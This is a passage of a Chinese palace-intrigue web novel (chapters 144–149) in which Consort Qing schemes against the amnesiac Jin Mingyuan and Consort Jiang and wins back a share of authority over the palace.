这么一来你便也不欠晋姐姐了,也不用在晋姐姐面前说这些冠冕堂皇的话了,多好啊。” 姜妃没有一点争宠的心思,她也不在乎自己在贺江灈眼里的形象是善良还是恶毒。 说话间她还故意对着清妃扬了扬眉,真是把心狠手辣的模样给演了个十成十。 清妃又一次掉起了眼泪:“姜妹妹说的对,当时哥哥引开追兵的时候,我就应该和晋姐姐换个方向走的,如果遭受这一切的是我,晋姐姐就不会受这么多委屈,哥哥的死也是值得的。 哪里会像现在这样,即便他丢了一条命也换不来半点好。” 听到这里的时候,姜妃已经皱起了眉头,她觉得有点不妙。 果然就看到一直一言不发的贺江灈冷下了脸,他直接道:“姜妃,你就算胡说八道,也给朕有个限度。” 清妃还在哭:“陛下,若是是早知道,臣妾对晋姐姐的心意,竟然会遭人猜忌,臣妾当初就应该和哥哥一起死了算了。” 姜妃看着清妃那张委屈到不行的脸,真想补一句,现在死也不晚。 只是在对上贺江灈的目光时,她缩了缩脖子,把到了嘴边的话咽了下去。 她倒是不怕挨板子什么的。 但她又不得不担心,贺江灈会让她从邀云宫里搬出去。 云瑄马上就走了,晋姐姐才刚搬出冷宫,把她自己放在邀云宫里,姜妃实在是不太放心。 姜妃不吱声了,贺江灈这才看向了清妃:“你也别哭了,今日的事就是个误会,没人猜忌你什么,别动不动的就把死挂在嘴边。 你的命有你哥哥的一半,别让朕再听到这种话。” 清妃乖乖的应了一声,肩膀还是一抽一抽的,瞧起来很是可怜,却也没有再哭出声来。 她低着头继续给人盛汤,但一双眼睛好像蒙了雾一样,黑沉沉的,瞧着就怨气十足。 方才晋明鸢说的那几句话,到现在都让她觉得有点回不过神来。 还有陛下,对晋明鸢永远是那么的放任,甚至连晋明鸢身边的人都放任,如果不是她搬出哥哥来。 失神间,清妃的手腕轻轻晃了晃,一勺热汤就这么撒了出来,正浇在她另一只端着碗的手背上,疼的她直接倒吸了一口凉气。 在所有人都还没有反应过来的时候,她背后的满春忽然拽了一下玉袅:“你这个贱婢,就是这么伺候清妃娘娘的?一点儿眼力劲儿没有,竟然让娘娘伤了手,你是不是故意的?” “不是,我没有,是清妃娘娘自己烫的。”玉袅摆手,她刚才离清妃还有一段距离呢,一直在布汤的也是清妃,这事儿怎么也赖不到她头上才对。 除非… 晋明鸢和姜妃对视一眼,这件事果然有猫腻,清妃看到玉袅,就没想留着她。 第144章 朕还没瞎 “好啊,你还敢推卸责任。 你与娘娘站的最近,不应该时刻护着娘娘吗? 在你的眼皮子底下,让娘娘受伤,就是你该死。”满春又愤愤道。 她这话里的意思太明显不过了,就是想要玉袅死。 按照清妃以往的性格,满春刁难别人的时候,她得站出来打圆场的,再不济也得训斥满春两句,为自己营造出一个温柔贤淑的形象。 可今天她什么也没有说,就这么红着一双眼睛,将烫伤的手背正冲着贺江灈的方向,看模样委屈到不行。 明摆着就是想让贺江灈给她出头。 再加上她刚才才提了她哥哥的事,瞧刚才贺江灈那么激烈的反应,就可以猜测到这时候清妃的要求,他很难拒绝。 “是吗,那你说应该怎么处置玉袅才好?”晋明鸢问。 对上晋明鸢的时候,满春好像有些发怵,但她还是挺直了腰杆儿道:“这么不尊重娘娘,害娘娘受伤,这种刁奴就应该乱棍打死。” “清妃也是这么觉得吗?”晋明鸢又问,这回她直接起身,走到了清妃身边,顺手就把玉袅拉到了自己身后。 清妃也不说话,就这么低头泪眼婆娑的看着自己被烫伤的手。 晋明鸢又说:“我当清妃素来心善,竟也没想到你也会有对人起杀心的时候。 只是我不明白,玉袅一个小小的宫女到底哪里碍了清妃的眼,竟然让你如此狠心?” 宫里不乏有心狠手辣的妃子,也有许多动不动就打杀下人的。 可清妃这些年来,一直不是这样的人。 她总是装的一副温柔善良的模样,就连当初管理六宫的时候,有人犯了错,那也是不舍得罚的,于是就显得今日她要打杀玉袅这件事,变得格外的突兀。 清妃不动声色的对着满春使了个眼色,满春立刻心领神会:“我们娘娘怎么就心狠了,清妃娘娘的手可是因为她才被烫伤的,说不定接下来还要留疤呢,娘娘身体何等尊贵,如今出了这样的事,难道要娘娘一味的忍让? 娘娘平常心善,诸多小事都不愿意计较,可现在这伤如此明显,娘娘还要伺候陛下,这种事如何能忍让! 反倒是晋娘娘您,现在这么维护这个宫女,难道是她的行为是您授意的?” 话题又被抛到了晋明鸢这里。 根本没有等晋明鸢说话,满春又对着贺江灈跪了下来:“求陛下一定要为我们娘娘做主呀。” “来人,把她拖下去吧。”贺江灈声音有些烦躁的开了口,满春脸上立刻浮现出了喜色,可是下一瞬,她就僵住了,因为张公公带着人抓住的是她的胳膊。 满春挣扎着:“你们做什么?抓错人了,弄伤了娘娘的明明是她,你们抓我做什么?” 不仅满春现在惊讶,清妃也好,又或者晋明鸢也好,这会儿都有些诧异的看向了贺江灈。 尤其是晋明鸢,她这会儿还张开双臂,维持着把玉袅挡在自己背后的姿势,这会儿一双手臂就这么直直的僵在了半空中。 贺江灈说:“你在这里叫嚣一阵,当朕眼睛是瞎的吗? 清妃的手是如何伤的,朕看得一清二楚,倒是你没完没了的想要人性命,如此恶毒之人,实在不能再留在清妃身边。 把她拖下去,重打二十大板发配浣衣局吧。” 他声音轻飘飘的,只是话音落下的时候,却像是在打清妃的脸。 毕竟在满春叫嚣的时候,清妃一直没有制止,也是默认了她的手是因为玉袅受伤的。 贺江灈的视线虚虚的看向了清妃,清妃瞪着一双眼睛,这会儿脸上已然多了惶恐色,她猛的就跪了下来:“陛下,满春她也是看臣妾受伤太紧张了,这才一时糊涂,还请陛下看在她伺候臣妾多年的份上,饶她这一次吧。” “清妃,朕知道你善良,正因为如此,你身边才不能留这种居心叵测之人,朕也是为你好,你应该理解朕的对不对?”贺江灈道。 清妃的表情又有点僵硬了。 满春已经快被拖到了门口,她拼命挣扎着,竟真的睁开了钳制着她的太监,连滚带爬的到了清妃面前,拉着清妃的胳膊道:“娘娘您一定要救救奴婢啊,奴婢不能去浣衣局的,会死人的。” 重打二十大板再被丢到浣衣局之后她会成什么模样,满春已经不敢想了,而且她之前仗着清妃的势,可是得罪了不少人。 若是让那些人知道她去了浣衣局,肯定饶不了她的。 再者说了,她在清妃身边养尊处优惯了,又哪里还干的惯那等脏活累活? 清妃也不舍得满春。 为了防止满春被人拖走,她直接把满春搂在了怀里,眼神凄楚的看着贺江灈:“陛下,满春她也只是太担心臣妾了,才一时糊涂的,您总要给她一个改过自新的机会不是吗? 就当臣妾求您了,求您饶过她这一次好不好?” 她抬起一张满是泪痕的脸,就这么楚楚可怜的盯着贺江灈的脸。 但心里已经怨恨的几乎要滴出血来了。 陛下到底是偏心的。 不管晋姐姐做了什么,变成了什么样子,在他那里,始终要偏向晋姐姐几分。 就像是现在这样,明明受伤的是她,可陛下要罚的也是她的人。 反倒是晋姐姐那里,只要她伸手一护,一切问题就迎刃而解了。 “那你告诉朕,你的手到底是怎么伤的?”贺江灈冰冷的声音直接打断了清妃的思绪。 清妃这会儿也不敢再有小动作:“是臣妾自己,是臣妾自己不小心烫到的,与别人无关。” “既然清妃也分得清真相,却放任自己的人要打杀晋氏的人,朕倒是有点好奇了,究竟是这些年来朕看错了你的善良,还是你真的有什么秘密在这个宫女手里?”贺江灈问。 这些问题对清妃来说都足够致命,清妃能感觉到男人的视线怀疑的在她身上打着转。 她心里微顿,很快就下定了决心。 她绝不能让陛下怀疑那件事。 于是她道:“对不起陛下,是臣妾刚才疼得糊涂了,这才生了怨恨,是臣妾不好,臣妾愿意给玉袅姑娘道歉。” 第145章 清妃的老家 清妃果然对着玉袅道了歉,态度还算诚恳。 但这么一来,就等于是在告诉所有人,她不是自己表现出来的那般善良。 贺江灈没有再说什么,但清妃自己已经在这里待不下去了,丢下了一句身子不适就匆匆离开了。 清妃走后,贺江灈只是深深的看了玉袅一眼,什么也没问,反倒是姜妃先道:“陛下您温柔善良的贵妃今天这么反常,您就一点也不觉得奇怪吗?” 姜妃这么一问,连带着晋明鸢也看向了他。 是啊,他刚刚既然呵斥清妃,就说明他自己也觉得清妃是有问题的。 可偏偏他对这件事又好像一点好奇也没有,这就有点耐人寻味了。 饭桌上,包括贺云瑄在内,所有人都没了动作,就这么定定的等着贺江灈的答案。 贺江灈就这样看向了姜妃,他声音有点冷:“你以后少针对她。” 姜妃瞪大了眼睛,明显是不敢相信,手指更是有点儿不自觉的指了指自己:“我针对她?” 贺江灈睨了她一眼,并没接话,但这个言外之意就好像在肯定姜妃的话。 姜妃脸色更不好了,她直接恼道:“陛下不觉得您这话有失公允吗?首先是她自己跑到我们的地方来,也是她张口闭口对着晋姐姐的人喊打喊杀,甚至话里话外她还在责怪晋姐姐。 难道陛下觉得在这种情况下,臣妾还要保持安静放任她如此吗?那陛下对清妃,也未免太痴情了点。” 姜妃就不是个会忍耐的性格。 这会儿她故意把痴情两个字咬得又狠又重,好像还带着浓重的暗示意味。 “姜妃,你没必要这么胡搅蛮缠。”贺江灈纠正,“如今赵家在京城只有她一个人,这件事你是知道的,她的兄长当初又是因为朕丧命,只要她没有太过分的错,谁也不能动她。” 话里带着几分警告的意味,贺江灈没再管姜妃的反应,直接起身朝邀云宫外面走去。 贺江灈走后,姜妃又是不满的拍了拍桌子:“不是,晋姐姐,你看他这是说得什么话,既然那么维护他那个清妃,今天干脆去玉粹宫用膳不就是了,又何必来咱们这儿? 我看他是爱清妃爱的连脑子都不要了,刚才清妃那么针对玉袅,他就不觉得奇怪吗? 要我说晋姐姐,就他这样的态度,就算到时候咱们真的查到云瑄真的是他的孩子,也绝不能让云瑄跟他相认。” 姜妃之前在冷宫里的时候,就是如此说话,嘴巴从来不把门,晋明鸢都听得习惯了,但玉袅以及一众刚被调到邀云宫的人确是都心惊胆战的。 晋明鸢没有记忆,也不知道自己之前与贺江灈是什么样的,亲眼看着贺江灈袒护清妃,她也没有什么过多的感觉。 甚至觉得贺江灈这样匆匆离去,反而是让她松了一口气,人也跟着自在了不少。 晋明鸢的视线看向了玉袅,她有点担忧的说:“姜妹妹,如今清妃看到玉袅的时候反应那么大,就说明翠枝的死定是与她有关的,我担心她还会对玉袅动手,咱们先想想怎么保护玉袅吧。” 她很清楚,玉袅本来就没必要冒这个险的。 现在玉袅因为她的缘故被清妃盯上,她自然是得想办法保证玉袅的安全。 玉袅也是心有余悸的,连脚步都不由的靠近了晋明鸢一点儿。 姜妃脸上也有了些许的忧虑之色,贺云瑄这时候却格外淡定的道:“娘亲放心好了,今天清妃想要对玉袅动手的时候,陛下已经制止了,她如果再有所动作,第一个怀疑的就是她,她现在肯定不敢再动玉袅。 娘亲如果实在是放心不下的话,可以一直把玉袅带在身边。 不过比起这个来,我还有一件事觉得好奇,陛下刚才说赵家在京城里,只剩下清妃一个,这句话是什么意思? 难道清妃家里是有人在别的地方吗?” 姜妃沉思了一下,终于轻轻点了点头:“她老家是在蜀都,她的小姨是陛下的生母,据说当年她父母不知出了什么意外,后来她与兄长一起来了京城,他们二人还有晋姐姐你,都是和陛下一起长大的。 不过… 说到这个我倒是想起来了,当时情况最乱的时候,陛下就是让她带着你去了蜀都。” 贺云瑄的表情变得更凝重了一点,他说:“蜀都有什么特别的吗?” 姜妃凝眉,好像沉思了一会儿,才犹犹豫豫的道:“听说蜀都那边多的是能人异士,不过我也没去过,不知道真假,你是怀疑…” 贺云瑄点了点头:“如果姜姨姨想要帮娘亲查真相的话,我建议先去找找蜀都那边的民间杂书。” 姜妃还有点怀疑:“这不能吧,当初陛下可是把晋姐姐托付给她,也是她带着晋姐姐去的蜀都,就算她有心害晋姐姐,直接用蜀都当地的法子岂不是太扎眼了,太容易让人发觉了?” 贺云瑄说:“那倒未必,姜姨姨你想,我娘亲之前是不是特别信任她? 如果我娘亲没有失忆的话,是不是连怀疑都不愿意怀疑她,那样的话又怎么会去查呢?她的事又怎么能暴露呢? 而且陛下刚才完全可以直接说她孤苦无依,却偏偏强调了一句,赵家京城只有她一个人,我觉得陛下是引导我们,往赵家祖宅去想。” 姜妃听完贺云瑄的分析,已经张大了嘴:“你认真的?说不定陛下就是随口一提呢,我才不信他有那么好心呢!” “他没必要特地说这些,而且如果他真的不分青红皂白偏袒清妃,刚才就应该放任清妃除掉玉袅,我看他现在对那个清妃也并非完全信任。”贺云瑄说。 姜妃不知道贺云瑄从哪里得来的这么笃定的结论,她扭头看向了晋明鸢:“晋姐姐,你觉得呢?” 晋明鸢道:“我听云瑄的。” 她宝贝儿子心思多的很,脑袋也比她灵光,晋明鸢想不出所以然来时,已经习惯性的听贺云瑄的安排了。 第146章 风雨欲来 姜妃暂时也没有别的更好的办法,便也先答应了按贺云瑄给出的方向来查,安排人优先去收集蜀都那边的杂书。 明日贺云瑄就要跟着姜源出去游学了,今日他难得的任性,赖在晋明鸢房里不肯离开。 晋明鸢本来也想借着这个机会,多多叮嘱贺云瑄出门在外,照顾好自己的,结果到了最后,反倒是贺云瑄嘱咐她比较多。 当然贺云瑄这么一走,姜妃的感伤一点也不比晋明鸢少,主要还是因为那些被她为了图省事丢给贺云瑄的账本,又重新回到了她自己这里。 尽管贺云瑄已经把之前的账目都替她核对清楚了,但现在看到这么一堆的东西,姜妃还是觉得头疼,她抱着贺云瑄的肩膀,大半夜都生无可恋的嚷着:“小瑄瑄呀,你这一走让姨姨和你娘亲可怎么办呀?” 这倒也不是姜妃夸张,实在是她和晋明鸢两个人加起来也比不上一个贺云瑄脑子好用,办事妥帖。 所幸现在已经搬离了冷宫,不用自己做饭了,否则贺云瑄这么一走,姜妃都觉得她和晋姐姐能把自己饿死。 贺云瑄也是小大人一样的拍着姜妃的肩膀:“姜姨姨放心,我都已经交代好了,不会有人欺负娘亲的,至于你,就辛苦一下,能者多劳吧,可千万不要把账本给我娘亲哦,我自己都不舍得让娘亲干活呢,姜姨姨当然也不行。” 姜妃不知道贺云瑄安排了什么,但对方那后半句话可真是结结实实的扎了她的心窝子。 姜妃和贺云瑄一闹就闹到了半夜。 早上的时候,一起吃过了早饭,两个人就一同把贺云瑄送了出去。 姜源已经在邀云宫门口等着了,他换了一身月白色的衣服,头发一丝不苟的束起,倒还真有几分文人墨客的味道。 贺江灈没有过来,他身边的张公公倒是来了,满脸堆笑的道:“晋娘娘,陛下都安排好了,把小公子交给姜公子,您就放心吧。” 若真说放心,儿子第一次出远门,晋明鸢当然是放心不下的。 但事已至此,又是儿子自己提出要去的,晋明鸢也只能放他远行,却还是跟着张公公等人,一直将人送到了宫门口。 姜源牵了一匹黑马,贺云瑄和他站在一起的时候,好像还没有那个马腿高,看这瘦瘦小小的,又是让晋明鸢一阵心疼。 哪怕昨夜已经把该嘱咐的都嘱咐了一遍,晋明鸢还是又道:“云瑄,出门在外可一定要照顾好自己呀,什么都不如自己的安全重要,如果有机会的话,一定得给娘亲写信,知道吗?” “放心吧娘亲,我都懂得,你在宫里也要照顾好自己,千万不能瘦了。”贺云瑄说。 晋明鸢明明不是什么矫情的人,这会儿听着贺云瑄的话,眼睛又开始发酸。 贺云瑄眼尾也有点泛红,他主动伸手拉了拉姜源的袖子:“师傅,我们走吧。” 他不想再在这里耗下去了,他害怕一会儿自己就舍不得走了。 小孩紧抿着嘴,明明也是难过的,偏偏强忍着没让眼泪掉下来,倔的不行,姜源也不知道,他小小年纪怎么就这么成熟,却也没多说什么,直接将人抱到了马上。 马儿扬长而去,很快就再也看不到踪影。 但晋明鸢还是望着他们离开的方向,久久都没办法回神,还是姜妃小声嘀咕:“那小子还真是狠心走得这么干脆。” 晋明鸢什么也没说,等回到邀云宫的时候,她不自觉的就走进了贺云瑄的房间,下一刻就愣住了。 那些她给贺云瑄装到包袱里的金银,现在一大半都堆在桌子上,也不知道是被他什么时候拿出来的。 晋明鸢有点担忧:“我都说了我用不着银子,他出门在外,这些该他拿着的,怎么又都给我留下了?” 姜妃也感慨道:“啧,这小子不声不响的,原来还会闷声干大事,估计是怕晋姐姐你在宫里不好过。 不过你放心,有姜源在,他在外面也饿不着的。” 有了姜妃这句安慰,晋明鸢也算是稍稍放了心,可想到贺云瑄不声不响的就将东西留下来的时候,晋明鸢还是觉得酸酸的。 这孩子太懂事了,她亏待这孩子也太多了。 贺云瑄走后,这宫里算是安静了一阵儿。 姜妃很快就让人收获了许多蜀都那边的民间杂书。 玉袅也识一些字,三个人没事就窝在邀云宫里找线索,时间一晃,就是大半个月过去,弄来的书只剩下最后两本了,却还是没有找到关于延产药的事。 眼见着不太行,姜妃都有点怀疑贺云瑄给指的方向不对了,又让人去搜罗了一些别的地方的杂书来。 这么一直忙碌着,晋明鸢想起贺云瑄来的时候也不多了。 转眼间就到了冬天,天气一冷,清妃就又来了几次,还给晋明鸢送来了许多被褥,就连给下人的也有。 不仅仅是邀云宫,就连别的宫里她也都一一送了东西慰问,尤其是像王宝林那些不受宠又没有地位的嫔妃宫里,她一处也没有落下。 一时间各宫都在传清妃娘娘心善,慈悲如菩萨转世,反倒是代管六宫的姜妃,一次次的被拉出来比较。 宫里关于姜妃不如清妃的传言闹的沸沸扬扬。 甚至还有人私底下议论,如果管理后宫的还是清妃就好了。 邀云宫里的人这下都看出来了,清妃这段时间怕是坐不住了,又想夺权了。 只是她这宫权被夺走之后,沉寂了几个月都没有动静,现在忽然活动起来,倒是让人觉得有点儿不对劲。 清妃这么一闹,姜妃就不得不分出精力去提防她,帮晋明鸢找线索的时间就少了。 结果绕是姜妃盯了清妃好一阵,也没见她有什么别的动作,反倒是其他宫里的小事不断,不是今天徐婕妤走在外面绊倒了,就是明天李贵人染了风寒,最过火的还是王昭仪。 这大冷天的御花园湖面上都结了冰,也不知她是去做什么了,竟然掉进了冰湖。 动静闹的不小,把皇上太后以及一众宫妃都引进了她的住处。 第147章 蠢笨如猪 晋明鸢跟着姜妃急匆匆赶来的时候,王昭仪的屋里已经坐满了人。 她应该是刚醒过来,一张小脸儿还冻得发青,看不出多少血色,嘴里也不住的咳嗽着,和她关系最好的徐婕妤坐在她床边,看起来已经着急的要抹眼泪了。 徐婕妤的手腕还被纱布包着,瞧起来也是楚楚可怜的样子。 姜妃一来,太后就已经迫不及待的发难了:“姜妃,你看看你干的好事,陛下让你代管六宫,你就是这样管的,你可对得起陛下的信任? 这才几天,宫里的嫔妃一个接一个的出事,你就没有什么要说的吗?” “太后娘娘若是这么问的话,臣妾也好奇,之前明明一点事没有,怎么这几天就像撞了邪似的,一个接一个的出事,莫不是这背后有什么人摆布着?”姜妃也不客气,直接就回怼了回去。 视线若有若无的飘向了清妃。 清妃站在人群里,神色没有变化,还顺口调侃道:“瞧姜妃妹妹这话说的,这天底下还有人有这样大的本事呀,竟然能让这些嫔妃们的一个个的自残陷害你。 徐妹妹,李妹妹的事小也就罢了,王妹妹今日掉到冰湖,可是差点丢了命呢,姜妃妹妹总不能觉得,她为了害你,连自己的命都不要吧?” 太后轻哼一声,视线锐利的看向了姜妃,就像是在等姜妃解释一样。 明明到现在为止,王昭仪为什么落水还没有查清,但好像在所有人眼里,一切都成了姜妃的错。 姜妃说:“清妃与其在这里胡乱揣测,倒不如先问问王昭仪为什么会掉到冰湖里去,你自己说说吧,天寒地冻的,大家都避着水边,你为什么会落水?” 她和王昭仪说话,余光看着的是清妃。 这一桩桩一件件的事未免太巧了,如果她没有记错的话,这些意外受伤的人各个都和清妃走得近。 徐婕妤和王昭仪自然不用说,那个染了风寒的李美人,听说前段时间清妃刚去接济了她。 王昭仪又咳嗽了两声,才委委屈屈的说:“臣妾今日本来是在御花园散步的,但走到湖边的时候,不小心弄撒了珠串,有珠子朝着湖上滚了过去。 那串珠串是臣妾的母亲留给臣妾的,臣妾本来只是想在湖边捡珠子的,但没有想到今年周围地上都是细霜。 那些霜太滑了,臣妾没有站稳,就掉到了湖里。” 王昭仪说着说着就委屈的哭了起来:“都是臣妾不好,臣妾没有想到今年湖边会有那么多霜。” 按照王昭仪的说法,这件事并非别人故意陷害,只是她自己一时失误才坠了湖。 可偏偏她又两次提到今年地上霜多,这话听起来就有点耐人寻味了。 太后也很快察觉到了王昭仪话里有话:“你这是什么意思?什么叫今年霜多?哪年冬天不是这样过来的?你怎么不说自己蠢笨如猪?” 王昭仪更委屈了:“臣妾平日里最喜欢出去散步,臣妾明明记得去年深冬的时候,外面也没有这么多霜雪的,当时清妃娘娘就怕有人摔跤,每天都会带着宫人们清扫宫道。 臣妾也没想到今年就…” 她看了姜妃一眼,就算后面的话没说完,也足够让所有人都听出来,这是在说姜妃管理公务没有清妃上心呢。 “这么说来,徐婕妤也是这么滑倒的了?”姜妃没理会王昭仪,扭头看向了徐婕妤。 忽然被点名,徐婕妤愣了一下,才点了点头道:“臣妾那天也是没有注意到,今年的霜雪没人清扫,一时不慎滑倒了。” 这话就差明着说,姜妃不如之前的清妃了。 太后说:“姜妃你呢?你现在还有什么话要说?” 晋明鸢和姜妃一直都防着清妃对付玉袅,又或者直接算计了,谁也没想到清妃会在这种事上下手。 不得不说,清妃忽然弄这么一招,在太后和陛下面前对比出姜妃的不是,还真是不太好让人反驳。 若是寻常人,大概就直接低头认错了,大不了承认一句自己确实不如清妃细心之类的话。 但姜妃还真就不是寻常人。 她看看徐婕妤,又看看王昭仪:“是吗?这才初冬,宫里还没下雪呢,只是早上晚上有点白霜,中午太阳一晒就化的干净了,什么都影响不了,本宫凭什么为了你们两个蠢货让宫里的下人们都跟着不得安宁? 明明辰时,太阳一出就能化了的霜,你要我卯时带着人出去扫,先不说平白给宫人们多找多少活,就说这样的薄霜,只怕还没有清理完,它就自己化干净了,陛下太后娘娘真的觉得需要多此一举吗?” “可我们确实是因为这些霜摔了跟头,今日是我与徐妹妹,万一明日还有别人呢?姜姐姐总要考虑大家的安全。”王昭仪白着一张脸,柔柔弱弱的说。 “可本宫不觉得,除了你们两个四肢发育不完全,脑袋也明显有问题的人以外,还有谁会因为那点白霜摔倒,本宫更不觉得要因为你们两个,让满宫的宫人跟着一起受累。 让人卯时起来替你们清扫辰时就会化掉的霜,你们也真敢想。 清妃如果之前真是做的,只能说明她视下人的命如草芥。”姜妃说。 徐婕妤听到他这番毫不客气的话时,人都懵了:“姜姐姐,你怎么能骂人呢?” “我哪句话说错了?一个明知道初冬湖面冰薄,偏偏自己往冰面上靠,另一个大半夜的出门游荡,平地也能摔倒,你们两个哪个是正常的? 又或者我换句话说,什么样的正常人像你们两个一样,这宫里应该找不出第三个吧。 尤其是你徐婕妤,她去湖边好歹还有个理由,你大半夜跑出来游荡是做什么的?你难道不应该解释解释吗?” “我…”徐婕妤这会儿连话都说不顺了,姜妃骂的她一张脸都涨红了,她可怜巴巴的把目光投向了贺江灈。 贺江灈看也不看她:“你是该解释解释,为什么半夜出去。” 第148章 清妃分权 没换来贺江灈的怜悯,徐婕妤只能委屈道:“臣妾那日只是有点积食,就想着出去散散步消食的,结果没想到就摔到了手。” 她红着眼睛,又楚楚可怜的看向了贺江灈,像是要博取同情。 贺江灈没说什么,姜妃翻了个白眼儿:“你若是因为别的摔的,我说不定还能高看你一眼,出去散步把自己摔成这样,看样子还真是四肢发育不健全。” 徐婕妤刚才眼红还有几分装的意味,现在是真的快被姜妃骂哭了。 “陛下,臣妾已经知道错了,可姜姐姐说话是不是太刻薄了一些?”徐婕妤忍了又忍,还是没忍住,又叫了贺江灈一声。 还不等贺江灈作出反应,太后已经不耐烦的道:“也不怪姜妃骂你,平地摔这种事,几岁的孩童都做不出来,你也不嫌丢人,还敢拿着此事到处招摇。” 太后都发了话,徐婕妤这回也不敢吱声了。 姜妃说:“陛下,太后娘娘,事情已经弄清楚了,今日所有事,不过是徐婕妤和王昭仪自己的问题,这两人蠢笨如猪,连路都走不明白,平白惊扰了圣驾,以臣妾看不如就罚她们各自抄写宫规百遍吧。” “你们两个对姜妃的安排可有意见?”太后问。 两个人对视一眼,都低了头:“臣妾知错,自愿认罚。” “只是…”王昭仪犹犹豫豫的,又补了一句。 太后拧着眉:“有话就直说,吞吞吐吐的像什么样子?” 王昭仪这才道:“臣妾斗胆,臣妾觉得偌大的后宫交给姜妃一个人管理实在不妥。 诚然臣妾与徐妹妹的事,是我们两个自己的问题,可如今正逢换季,宫里冷的厉害,许多低位嫔妃莫说是炭火,就连过冬的被褥都没有,这些姜妃都没有发现,还是清妃娘娘带着我们自掏腰包帮她们准备被褥。 臣妾觉得…” “你觉得该让姜妃把宫权还给清妃?”太后这会儿也听出了王昭仪的用意,直接把话挑明了。 “臣妾没有那样想,臣妾的意思是宫中事务繁忙,姜妃姐姐一个人怕是忙不过来,所以才会有这样的疏漏,如果有别人帮助姜妃姐姐的话,应该就不会这样了。”王昭仪道。 太后眯了眯眼睛,饶有兴趣:“是吗?那你觉得谁应该来帮姜妃,清妃吗?别忘了她之前就是因为把宫里弄得一塌糊涂,宫权才到了姜妃手上的。” 就说这宫里太后最看不惯谁,第一个当属晋明鸢,除了晋明鸢以外,就是清妃了。 姜妃虽然她也不喜欢,但和前面那两个比起来,勉强算是矮子里面拔将军了。 而且… 太后眯了眯眼睛话锋一转:“话又说回来,过不了多久就是年关了,以后会越来越忙,姜妃一个人操持公务也确实是不容易,是该找个人帮帮姜妃,皇帝觉得禾儿如何?” 太后轻飘飘的一句话说出来的时候,当事人姜妃没有什么太大的反应,反倒是王昭仪和徐婕妤脸上都有几分慌乱。 清妃顺势低下了头,眼睛里同样闪过一丝阴翳。 贺江灈说:“安妃是母后的侄女,平日里有母后亲自教导,她若是来管这件事,朕自然是放心的。 不过,这些年的宫宴也确实是清妃操持的多,近来清妃也还算懂事,不如以后就让安妃,清妃和姜妃她们三个一起管理后宫吧。” 太后有意的想要把清妃踢出去的,但现在贺江灈又主动把清妃拉了回来,太后脸色不太好看,但也知道不能把事情闹得太僵了,于是她点了点头:“那就依皇帝说的,有她们三个互相扶持的话,想来以后这宫里也不会在因为这种莫名其妙的小事,闹得兴师动众了。” 说话间,太后又有意无意的瞪了清妃一眼,谁都能看出来,今日这一切就是清妃在从中作梗。 可偏偏皇帝还真就吃了这一套,竟然真的把宫权又还到了清妃手上。 从王昭仪处出来,姜妃就是满脸的晦气:“那赵清吟闹这么一出,还真当大家都看不出她的小心思吗?不过就是陛下愿意纵着她。” “她忽然争权,肯定是想做点什么,咱们要怎么办?”晋明鸢问。 她对姜妃说的什么贺江灈纵着清妃那种话并没什么感觉,反而更在意的是清妃的目的。 她可不信清妃无缘无故的弄出这么多事儿来,肯定是已经有了什么打算。 姜妃说:“我先让人盯着她,不管她要做什么,总要露出马脚的。 让她把权争到手也好,至少也是给咱们提了个醒,让咱们知道她要有动作了,免得哪天她给咱们来个阴的。” 一提到清妃,姜妃就是恨的牙根发痒。 晋明鸢忽然道:“不过姜妹妹,你有没有觉得王昭仪不对劲? 她就算再听清妃的话,今天清妃可是让她跳冰湖呀,这种天气闹不好就是没命的,这她都敢跳,你说她是不是有什么把柄在清妃手上?” 徐婕妤那种事,只是摔了一跤磕伤了手,又不致命,她想要讨好清妃帮这种小忙没什么,可那王昭仪跳的是冰湖。 先不说闹不好就没命,便是勉强捡回来了一条命,说不定也会缠绵病榻落下什么病根,这种事她都敢做,明显就不正常了。 晋明鸢这么一提醒,姜妃也反应过来:“你这么一说还真是,而且太后反驳了清妃协理六宫的时候,王昭仪好像表现的更着急。 看来这个王昭仪也是个有秘密的,正好找人一起盯着,我还就不信抓不到她们的把柄了。” 晋明鸢也点了头,觉得还是防着比较好。 就在这时,姜妃忽然饶有兴趣的打量着晋明鸢:“晋姐姐,我怎么发现云瑄走了之后,你好像变得聪明了?你之前可想不到这些的。” 晋明鸢有点尴尬:“云瑄让我多防着别人,我也不知道怎么算防,干脆碰到事就往坏处想。” “这样也好,总归不会太容易相信别人。”姜妃说,她一直都觉得,若不是晋姐姐当年太相信清妃,也不会在冷宫一待五年。 第149章 两幅面孔 贺江灈只说了让安妃和清妃一起帮着姜妃管理后宫,却没有说这权利要怎么分配。 等到了安妃和清妃过来交接宫权的时候,姜妃就使了点小手段,给清妃的都是一些无关紧要的琐事。 但清妃好像并没有把这些当回事,走的时候还是笑意盈盈的。 玉粹宫里,清妃看起来一直都是心情很好的模样,就像真的没有被姜妃的小手段影响。 但满春脸色已经难看到了极点:“娘娘,那个姜妃现在就是仗着晋娘娘故意针对您,她们简直太过分了。 尤其是晋娘娘,明明您对她那么好,她怎么能和姜妃联合对付您呢?” 面对满春的激动,清妃依旧表现得很是淡定,甚至在满春说起晋明鸢的不是时,她还一脸难受的道:“我知道晋姐姐现在这样对我,只是因为她不记得我们之前的事了,等她恢复了记忆之后,一定会待我如初的。 毕竟当初就属她最疼我了,姜青雉只是侥幸钻了晋姐姐失忆的空子罢了。” “娘娘说的倒是容易,这晋娘娘失忆已经过去那么久了,根本就没有什么恢复记忆的迹象呀。”满春说。 “晋姐姐之所以到现在还没有恢复记忆,是因为没有人想帮她把记忆找回来,我和姐姐关系那么好,自然不忍心看姐姐一直一无所知,很快我就能帮姐姐找回记忆的。”清妃说。 他嘴角溢出浅笑,眼睛里闪过几分钟化不开的癫狂,看得满春控制不住的咽了咽唾沫。 满春惊讶道:“这么说来,娘娘这段时间算计那么多,其实是想要帮晋娘娘找回记忆?” 清妃点头:“那是自然,满春你知道我的,我可不在乎什么权利,如果不是因为晋姐姐,我又何必这么大费周章呢?” 满春瞪大了一双眼睛,这会儿连冷汗都已经冒出来了,她提醒道:“娘娘是不是忘了,当初晋娘娘失忆之前,可是让人…她当初是不是已经在怀疑您了,如果她真的恢复记忆,对您当真是件好事吗?” 清妃很是无所谓:“那又怎么了?她最后什么也没查到,不是吗? 只要她什么都不知道,我就永远都是她最好的姐妹。 满春,你说如果晋姐姐恢复了记忆,以她的性格还会继续留在邀云宫吗? 那个姜妃,她什么都不懂,她只会借着晋姐姐得陛下的宠爱,仗晋姐姐的势罢了。 她一点都不了解晋姐姐。 如果晋姐姐恢复了记忆,她一定会与陛下分道扬镳的,就像以前那样。 